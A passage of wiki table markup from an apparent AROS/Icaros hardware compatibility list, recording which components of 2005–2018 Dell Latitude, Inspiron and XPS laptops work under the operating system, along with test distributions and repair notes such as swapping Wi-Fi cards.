| Latitude X1 PP05S || PP-M GMA915 rev A00 1.1GHz non-pae || {{yes|ide 1.8in zif/ce under keyboard}} || {{N/A}} || {{Maybe|Vesa for Intel 915GM}} || {{yes|AC97 6.6 playback only with STAC codec}} || {{maybe|USB 2.0 but partial boot to blank screen}} || {{No|Broadcom 5751}} || {{no|Intel 2200BG - swap for Atheros mini pci under keyboard palm rest - disassembly of all laptop}} || &lt;!--Test Distro--&gt;Icaros 2.3 dvd iso image virtualbox'd onto usb, Aros One 1.5 and 1.8 usb (2022) || 2005 32bit 12.1&quot; 4:3 1024 x 768 - sd slot not bootable - 256mb soldered to board and 1 sodimm max 1GB ddr2 under keyboard - F12 bios boot F2 - pa-17 pa17 19v octagonal psu port 
|-
| Latitude D410 PP06S 
*rev A00 
*A01, A02 
*A03 
|| GMA915 1.6GHz Pentium® M 730, 1.7GHz, 750 1.86GHz &amp; 760 2.0GHz, 770 2.13GHz || {{yes|caddy and adapter needed 2.5&quot; - remove hdd and write}} || {{N/A}} || {{Yes|Intel 915GM 2D and 3D OpenGL 1.3 tunnel 170 and gearbox 75}} || {{yes|AC97 playback only with STAC 9751 codec}} || {{maybe|works but will not boot from USB-DVD or AROS One 1.5 usb version}} || {{No|Broadcom 5751}} || {{no|Intel 2915ABG or later 2200BG - swap for Atheros mini pci under keyboard}} || &lt;!--Test Distro--&gt;2015 Icaros 1.4, 2016 2.1.1 and AROS One 1.5 usb,  || 2005 32bit 12.1&quot; 4:3 1024 x 768 - no sd card slot - PR06S dock base 
|-
| &lt;!--Name--&gt;Latitude D510 (Quanta DM1) || &lt;!--Chipset--&gt;915GM socket 479 || &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA 915 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|AC97 STAC 975x}} || &lt;!--USB--&gt; {{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG swap Atheros mini pci in base}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 14.1&quot; 32bit single core Intel Celeron M 1.6GHz Pentium M 730 1.73Ghz - squarish 3:2 - issues with 3rd party battery 4 quick flashes of red led with 1 final green 
|-
| &lt;!--Name--&gt;Latitude D610 (Quanta JM5B) PP11L 
|| &lt;!--Chipset--&gt;910GML 915GM with mobile 1.6 to 2.26ghz 
* Rev A0x 
* Rev A0x 
* Rev A07 1.73Ghz 
| &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA 915 2D and 3D tunnel 174 gearbox 74}} || &lt;!--Audio--&gt;{{yes|Intel AC97 speaker head phones playback only with stac codec}} || &lt;!--USB--&gt; {{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751}} || &lt;!--Wireless--&gt;{{no|Intel 2200BG or Broadcom mini pci under keyboard, swap wifi card for atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit 14&quot; 1024 x 768 - very noisy clicky trackpad buttons - one dimm slot under keyboard and other in underside 2GB 533Mhz 667Mhz DDR2 max - 
|-
| &lt;!--Name--&gt;Latitude D610 (Quanta JM5B) 0C4717 REV A05, 0K3879 REV.A00 || &lt;!--Chipset--&gt;915GM || &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{Maybe|Use VESA 2d - Ati X300 no radeon 2d}} || &lt;!--Audio--&gt;{{yes|Intel AC97}} || &lt;!--USB--&gt; {{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Broadcom NetXtreme 57xx Gigabit replace with Atheros 5k}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG mini pci use Atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit 14&quot; 1024 x 768 - very noisy clicky trackpad buttons - 19.5v psu 
|-
| &lt;!--Name--&gt;Latitude D810 (Quanta ) || &lt;!--Chipset--&gt;915GM || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|Use VESA 2d - Ati X300 RV370 M22 later x600}} || &lt;!--Audio--&gt;{{yes|Intel AC97 stereo playback only idt 9751 codec}} || &lt;!--USB--&gt; {{maybe|USB 2.0 but no boot from usb on 1.5}} || &lt;!--Ethernet--&gt;{{no|Broadcom NetXtreme 57xx Gigabit}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG mini pci replace with Atheros 5k}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.1, aros one 1.5 || &lt;!--Comments--&gt;2005 32bit 15.4&quot; F12 one time boot menu - 19.5v 90w psu ideal - battery not same as later dx20 ones - 
|-
| &lt;!--Name--&gt;Inspiron 6000 6400, E1505 PP20L 
*A00 Pentium M 
*A0? Core Duo 
|| &lt;!--Chipset--&gt;GM945 with PM 1.73Ghz, T2050 or T2060 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|}} || &lt;!--Gfx--&gt;{{Maybe|vesa 2d - Ati 9700, x1300 RV515 M52, x1400 or nvidia go 7300 on mxm board}} || &lt;!--Audio--&gt;{{yes|HD Audio IDT 9200}} || &lt;!--USB--&gt;{{Yes|usb boot }} || &lt;!--Ethernet--&gt;{{Yes|Broadcom BCM4401 B0}} || &lt;!--Wireless--&gt;{{No|Intel 2200 3945 - swap for Atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1, AROS One 1.6 || &lt;!--Comments--&gt;2006 mostly 32bit - 15.4 inch glossy - 2 ddr2 sodimm slots - broadcom bcm92045 bluetooth detected but no support - 19.5v dell psu socket - f2 bios setup, f12 boot order - 
|-
| &lt;!--Name--&gt;Inspirion E1705 9200 9300 9400 PP12L PP14L || &lt;!--Chipset--&gt;945GM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;proprietary Dell card/socket format Nvidia 6800, ati X300 or nVidia 7900GS gpu 3d corrupt || &lt;!--Audio--&gt;{{Maybe| }} || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom BCM4401}} || &lt;!--Wireless--&gt;Intel 3945 swap with Atheros 5k mini pcie || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 [http://amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=6481 increasing vertical lines issues] 32bit - 
|-
| &lt;!--Name--&gt;Studio XPS M1210 || &lt;!--Chipset--&gt;GM945 with Core Duo to intel C2D T5500, T7400 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;nVidia G72M 7300 7400m || &lt;!--Audio--&gt;HD Audio IDT 92xx || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom BCM4401 B0}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4311 - swap for Atheros 5k mini pci-e}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit - 2 ddr2 slots max 4Gb - 
|-
| &lt;!--Name--&gt;Inspiron 1501 PP23LA Latitude 131L || &lt;!--Chipset--&gt;AMD Sempron 1.8GHz Turion MK-36 or X2 1.6Ghz TL-50 or TL-56 on ATI RS480 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Use VESA 2d - ATI 1150 (x300) RS482M Mobility Radeon Xpress 200}} || &lt;!--Audio--&gt;{{Yes|HD audio with stac 92xx codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom bcm 4401}} || &lt;!--Wireless--&gt;{{No|Broadcom bcm4311 replace with Atheros 5k}} || &lt;!--Test Distro--&gt;Icaros 1.5 || &lt;!--Comments--&gt;2006 64bit 15.4 inch matt 16:10 1280x800 WXGA -  
|-
| &lt;!--Name--&gt;Inspiron 6400 (Quanta FM1)
*A00 Pentium M 
*A0? Core Duo  
*A08 Core2 Duo 
|| &lt;!--Chipset--&gt;GM945 with BGA479 (socket M) T2050 1.6Ghz, T2060 1.60Ghz, T2080 1.73Ghz much later T5500 1.66Ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GMA 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|HD Audio with IDT 92xx codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|Broadcom BCM4401 B0}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4311 swap for Atheros 5k mini pci-e under keyboard}} || &lt;!--Test Distro--&gt;deadwood 2019-04-16 iso || &lt;!--Comments--&gt;2006 mostly 32bit - 15.4&quot; glossy - sd card - front multimedia keys - dvd rw - generic dell keyboard - coin cr2032 bios battery under keyboard - 
|-
| &lt;!--Name--&gt;Inspiron 640m PP19L XPS M140 e1405 || &lt;!--Chipset--&gt;Core Solo T2050, T2300 Duo 1.83GHz T2400 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel GMA 950 || &lt;!--Audio--&gt;HD Audio IDT || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom BCM4401-B0 100Base || &lt;!--Wireless--&gt;{{No|Intel 3945 or Broadcom 43xx, swap for Atheros 5k - Wireless Internet ON or OFF press the Function key + F2}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32 bit - 12.1 LCD CCFL WXGA 1280x800 up to 14.1 inch 16:10 1440x900 pixel, WXGA+ UltraSharp - supports also SSE3 on duos - 
|-
| &lt;!--Name--&gt;Latitude D420 (Compal LA-3071P) PP09S 
|| &lt;!--Chipset--&gt;945 
* revA00 Solo 1.2Ghz ULV U1400
* revA01 Duo 1.06Ghz u2500
* revA02 Duo 1.2Ghz 
| &lt;!--IDE--&gt;{{yes|ZIF/CE 1.8&quot; slow under battery, ribbon cable}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{yes|Intel GMA950 - 2D and 3D opengl tunnel 138 gearbox 103}} || &lt;!--Audio--&gt;{{yes|HD Audio with STAC 92xx playback speakers head phones only)}} || &lt;!--USB--&gt;{{yes|2 and external usb optical drive works}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{No|Intel 3945 mini pcie - swap Atheros 5k in base panel}} || &lt;!--Test Distro--&gt;Icaros Desktop 1.4 || &lt;!--Opinion--&gt;2006 32bit only - 12.1&quot; 1280x800 - PR09S dock base rev02 DVD-RW usb boots - 1GB DDR2 2Rx16 max in base panel - f2 setup f5 diagnostics f12 boot list - 
|-
| &lt;!--Name--&gt;Latitude D520 PP17L 
|| &lt;!--Chipset--&gt;
* 64bit rev A01, A02 945GM Core2 Duo 1.83Ghz to 2.3Ghz 
* 32bit rev A00, A01 940GML Solo later Duo T2400 
| &lt;!--IDE--&gt;{{yes| Philips SDR089, Philips CDD5263, TEAC DW224EV, Optiarc AD-5540A, HL-DL-ST GSAT21N, TSSTcorp TS-L632D}} || {{Yes|bios sata set to ide mode}} || {{Yes|Intel GMA 900 series 2D and OpenGL1 3D tunnel 210 gearbox 153 teapot 27}} || {{Yes|HD audio with STAC 9200 codec}} || {{Yes|Boots and detects USB2.0}} || {{Yes|Broadcom 4400}} || {{No|Broadcom BCM4312 BCM4321 Dell 1390 / 1490 mini pcie - easy to replace with atheros 5k in base panel}} || &lt;!--Test Distro--&gt;Icaros 1.4 and 2.2 and both AROS One 1.8 and AROS One x64 1.1 USB boot || 2006 mostly 64bit 4:3 aspect ratio 14.1 (XGA 1024x768) or later 15 inches (XGA+ 1400 by 1050) - F2 enter bios F12 choose boot - 19.5v dell tip pa-12 charger - bios coin cell cr2032 battery socketed in base panel - 
|-
| &lt;!--Name--&gt;Latitude D620 (Compal LA-2792) PP18L 
|| &lt;!--Chipset--&gt;945GMS 
* rev A00 all Core Duo's 32 bit 
* rev A0x all Core 2 Duo's 64 bit 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel GMA 950 (2D and 3D tunnel gearbox opengl1 || &lt;!--Audio--&gt;{{yes|HD Audio playback}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{no|Intel 3945 mini pcie swap with Atheros 5k}} || &lt;!--Test Distro--&gt;AspireOS Xenon || &lt;!--Opinion--&gt;2006 64bit AROS capable with later revisions - 14&quot; 1280 x 800 
|-
| &lt;!--Name--&gt;Latitude D620 
|| &lt;!--Chipset--&gt;Intel i945
* revA00 all Core Duo's 32 bit 
* revA01 all Core 2 Duo's 64 bit 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia 7300, 7600 NVS 110M G72 || &lt;!--Audio--&gt;{{dunno|HD Audio with STAC 9200 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5752}} || &lt;!--Wireless--&gt; {{dunno}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2007 1440x900 screen - LA-2792P Rev.2.0 - DT785 UC218 Fan/ Heatsink (64bit) - 
|-
| &lt;!--Name--&gt;Latitude D820 (Quanta JM6) 
|| &lt;!--Chipset--&gt;945GMS 940GML 
* rev A00 
* rev A01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Yes|Intel GMA 2D and 3D tunnel 195 - 100? gearbox 156}} || &lt;!--Audio--&gt;{{Yes|HD Audio with STAC 9200 playback}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{No|BCM4310 replace with mini pcie atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.2 || &lt;!--Opinion--&gt;2007 widescreen 15 inch 1280 x 800 matte -  - 
|-
| &lt;!--Name--&gt;Latitude D820 (Quanta JM) 
|| &lt;!--Chipset--&gt;945GMS 940GML 
* revA00 
* revA01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|Nvidia NVS 110M 120M G72}} || &lt;!--Audio--&gt;{{Yes|HD Audio STAC 9200}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{No|BCM4310 swap with Atheros 5k mini pcie}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2007 64bit 15.4 1650x1050 WXGA or WSXGA+ or 1920x1200 WUXGA - 
|-
| &lt;!--Name--&gt;Dell Latitude D531 15&quot; || &lt;!--Chipset--&gt;AMD Turion X2 TL56 or TL60 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Use VESA - ATi xpress X1270}} || &lt;!--Audio--&gt;HD Audio with IDT codec || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{No|Broadcom 57xx}} || &lt;!--Wireless--&gt;Intel 3945 or Dell Wireless 1390, 1505 or BCM4311 mini pcie || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit possible - no trackpoint - fails and goes wrong often - 
|-
| &lt;!--Name--&gt;Latitude D430 PP09S 
|| &lt;!--Chipset--&gt;945 with Core2 Duo C2D U7500 1.06GHz U7600 1.2GHz U7700 1.33GHz 
* rev A00 
* rev A01  
* rev A02 
| &lt;!--IDE--&gt;ZIF PATA IDE 1.8inch under battery and ribbon cable - slow use USB instead || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{yes|945GML 2D and 3D opengl 1.x 171 tunnel 105 gearbox}} || &lt;!--Audio--&gt;{{yes|STAC 92xx HD Audio speaker and ear phone - mono speaker}} || &lt;!--USB--&gt;{{yes|3 }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{no|Intel 4965 AGN or 3945 ABG mini pci-e underside with Atheros 5k mini pci-e}} || &lt;!--Test Distro--&gt;Aspire 1.8 || &lt;!--Comments--&gt;2007 64bit capable - sd card not supported - 19.5v PA12 power adapter - 12.1&quot; 1280x800 matte - f2 setup f5 diagnostics f12 boot list - 
|-
| &lt;!--Name--&gt;Latitude D530 || &lt;!--Chipset--&gt;GM965 + ICH8 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{partial|nVidia Quadro NVS 135M 2D 3d glitches G86}} || &lt;!--Audio--&gt;{{partial|HD Audio with STAC 9205 head phones only}} || &lt;!--USB--&gt;{{yes|USB 2.0}}|| &lt;!--Ethernet--&gt;{{no|Broadcom BCM5755M}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 3945ABG swap with Atheros 5k}} || &lt;!--Test Distro--&gt;Icaros 1.4.5 || &lt;!--Comments--&gt;2007 [http://amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=6481] cool air intake from underneath needed with pa-10 or pa-3e 90w psu required - standard 4:3 ratio aspect screen - 
|-
| &lt;!--Name--&gt;Latitude D630 (Compal LA-3301P) PP18L 
|| &lt;!--Chipset--&gt;GM965 + ICH8 T7250 2.0Ghz T7300 
* revA00 
* revA01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|Intel GMA X3100 (2D only, no external monitor)}} || &lt;!--Audio--&gt;{{yes|HD Audio STAC 9205 but speaker and head phones}} || &lt;!--USB--&gt;{{yes|4 USB 2.0}}|| &lt;!--Ethernet--&gt;{{no|Broadcom BCM5755M}} || &lt;!--Wireless--&gt;{{no|Broadcom BCM4312 swap with pci-e Atheros 5k under keyboard}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit possible - F12 to choose boot option - 2 ddr2 sodimm max 4G - 4400mah 48Wh battery lasts 2 hours - 6600mah 73Wh lasts 3 hours - two wire cr2032 cmos - 
|-
| &lt;!--Name--&gt;Latitude D630 
|| &lt;!--Chipset--&gt;GM965 + ICH8 
* revA00 [http://amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=6481] GPU heatpad, no copper 
* revA01 0DT785 heatsink 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{partial|use VESA as nVidia NVS 135M 3d corrupts 0.7 tunnel 0.25 gearbox G86}} || &lt;!--Audio--&gt;{{partial|HD Audio with STAC 9205 head phones only}} || &lt;!--USB--&gt;{{yes|USB 2.0}}|| &lt;!--Ethernet--&gt;{{no|Broadcom BCM5755M}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 3945ABG swap with Atheros 5k mini pcie}} || &lt;!--Test Distro--&gt;Icaros 1.4.5 || &lt;!--Comments--&gt;2007 64bit 
|-
| &lt;!--Name--&gt;Latitude D830 
|| &lt;!--Chipset--&gt;965GM with Core2 
* revA00 
* revA01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GM965 crestline 2d and 3d tunnel 115}} || &lt;!--Audio--&gt;{{Yes| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No| }} || &lt;!--Wireless--&gt;{{Maybe|replace with Atheros 5k mini pcie}} || &lt;!--Test Distro--&gt;Icaros || &lt;!--Comments--&gt;2007 15 inch 1280 x 900 but updating the LCD to WXGA or WSXGA+ could be better - 2 ddr2 sodimm - 
|-
| &lt;!--Name--&gt;Latitude D830 || &lt;!--Chipset--&gt;ICH8, Core2 DUO T7800 @ 2.60GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;Intel ICH8M Serial ATA || &lt;!--Gfx--&gt;nVidia Quadro NVS 140M G86 || &lt;!--Audio--&gt;{{yes|HD Audio with STAC 92XX codec}} || &lt;!--USB--&gt;{{yes|USB 2.0}} || &lt;!--Ethernet--&gt;Broadcom NetXtreme 57xx Gigabit || &lt;!--Wireless--&gt;Intel Wireless 4965AGN swap with Atheros 5k || &lt;!--Test Distro--&gt;Icaros 2.03 || &lt;!--Comments--&gt;2007 64bit 15.&quot; - FN,F2 or FN,F8 or FN,F12 
|-
| &lt;!--Name--&gt;XPS M1710 || &lt;!--Chipset--&gt;945PM with T2400 T2600 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;proprietary Dell card socket format GTX 7950 || &lt;!--Audio--&gt;HD Audio with STAC 92XX codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 1000 or Broadcom BCM5752 || &lt;!--Wireless--&gt;Intel swap with Atheros 5k || &lt;!--Test Distro--&gt;Aros One 64bit || &lt;!--Comments--&gt;2007 64bit 17.3&quot; workstation type WXGA+ screen 1920x1200 - 2 ddr-2 667Mhz sodimm slots, 
|-
| &lt;!--Name--&gt;XPS M1730 || &lt;!--Chipset--&gt;965 with T7200 T7600 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 7950 || &lt;!--Audio--&gt;HD Audio with STAC 92XX codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 1000 || &lt;!--Wireless--&gt;Intel swap with Atheros 5k || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit 17&quot; workstation type WXGA+ screen manufactured by AU Optronics poor viewing angles, unevenly lit, light leakage, 2 ddr-2 800Mhz slots, 
|-
| &lt;!--Name--&gt;Latitude E6410 P27LA, E6510 PP30LA, E6310 || &lt;!--Chipset--&gt;Intel Core i5-520M to i7-620M i7 820QM but no sse4.1 or AVX || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }}  || &lt;!--Gfx--&gt;{{Maybe|NVidia NVS 3100M GT218 2D but 3D through external monitor}} || &lt;!--Audio--&gt;{{Maybe|HD Audio IDT 92HD81}} || &lt;!--USB--&gt;{{Yes|USB2 }}  || &lt;!--Ethernet--&gt;{{No|Intel}}  || &lt;!--Wireless--&gt;{{No|Broadcom or Intel 6200AGN or Link 6300}} || &lt;!--Test Distro--&gt;Icaros 1.3 || &lt;!--Comments--&gt;2010 64 bit - 14.1” WXGA+ up to 15.6in 15.6” FHD 1080p - 2 ddr3l 1333Mhz max 8Gb - 90w dell charger - 3pin cmos - 
|-
| &lt;!--Name--&gt;Inspiron M5030 || &lt;!--Chipset--&gt;rev A01 AMD V120, V140 rev A0? V160 M880G || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE}} || &lt;!--Gfx--&gt;{{Maybe|VESA RS880M Radeon HD 4225, 4250}} || &lt;!--Audio--&gt;{{Yes|HD audio with ALC269q codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros AR8152 v2}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - DDR3 sodimm - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;E6420 E6520 ATG semi ruggized XFR || &lt;!--Chipset--&gt;sandy bridge i5 2520M 2540M or duo I7 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|set to Bios UEFI mode AHCI}} || &lt;!--Gfx--&gt;{{Maybe|Intel HD 3000 with optional fermi Nvidia NVS 4200M GF119}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with IDT 92HD90 BXX codec but not HDMI codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Intel}} || &lt;!--Wireless--&gt;{{No|Intel 6205}} || &lt;!--Test Distro--&gt;Icaros 2.03 || &lt;!--Comments--&gt;2011 64bit 15.6in - fan exhausts a lot of hot air when cpu taxed - VGA if Bios ATA set and Vesa only with Bios ACHI set - 
|-
| &lt;!--Name--&gt;Inspiron M5040 || &lt;!--Chipset--&gt;slow amd E450, later C-50 C50 or C-60 C60 with A50M chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|non efi sata in IDE mode but base plastic difficult to remove for access}} || &lt;!--Gfx--&gt;{{Maybe|use VESA AMD Radeon 6320, 6250 or 6290}} || &lt;!--Audio--&gt;{{Yes|HD Audio IDT}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek RTL8105E VB 10/100}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt;2016 icaros 2.1.1 and AROS USB 1.6 || &lt;!--Comments--&gt;2012 64bit 15INCH 1388 X 768 - f2 bios setup, f12 boot order - under removable keyboard via 4 top spring loaded catches is 1 ddr3l sodimm max 8gb and wifi - 
|-
| Latitude e6230 E6330 E6430 || i3 3320M 3350M 2.8 GHz i5 3360M i7 3520M || {{N/A}} || {{partial|non RAID mode}} || {{partial|Intel HD 4000 (VESA only)}} || {{no|HD Audio}} || {{partial|Intel USB 3.0 (USB 1.1 2.0 only)}} || {{No|Intel 82579LM Gigabit}} || {{No|Broadcom BCM4313}} || &lt;!--Test Distro--&gt;Nightly Build 2014 09-27 || 2013 64bit Ivy Bridge - 12.5-inch 13.3-inch 14-inch screen - not great support, better under hosted - 
|-
| &lt;!--Name--&gt;Dell Latitude 3330 || &lt;!--Chipset--&gt;Core i3 – 2375M  to i5 – 3337U, Intel® Core i3 – 3227U, Celeron 1007U on HM77 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2d for intel Hd 2000 3000 vga hdmi}} || &lt;!--Audio--&gt;{{maybe|HDAudio with IDT 92HD93 Controller codec }} || &lt;!--USB--&gt;{{maybe|USB 3.0 (2), USB 2.0 PowerShare capable }} || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{no|Intel }} || &lt;!--Test Distro--&gt;Deadwood usb3 test iso || &lt;!--Comments--&gt;2013 64bit, 13.3” HD 1366X768 16:9, 2 ddr3l slots max 8Gb, 720p HD video webcam, 
|-
| &lt;!--Name--&gt;Inspiron 15 5565 5567 AMD versions, Inspiron 3595 || &lt;!--Chipset--&gt;AMD A6-9200u A9-9400 9425 A12-9700P Bristol Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;Radeon R5 R8 GCN 3 || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{partial| }} || &lt;!--Ethernet--&gt;{{maybe|Realtek 1GbE}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit AVX2 - 15.6in 768p or 900p - there are intel versions avoid - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Latitude 5495, Inspiron 15 3585 || &lt;!--Chipset--&gt;Ryzen 2300U 2500U 2700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|NVMe or optional 2.5in sata if caddy and ribbon cable}} || &lt;!--Gfx--&gt;Radeon Vega 3 or 7 || &lt;!--Audio--&gt;{{No|HDAudio with Realtek ALC3246 aka ALC295 0x10ec, 0x0295 or ALC3263 aka ALC 0x10ec, 0x0 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14.0&quot; FHD WVA 1080p (16:9) 220 nits or HD 768p - 2 ddr4 sodimm slots max 32gb - 68whr battery with 2pin cmos bios coin - DC 19.5V 4.62A (90W) or 19.5V 3.34W (65W) 5.0mm x 7.4mm PA12 charging adapter - 
|-
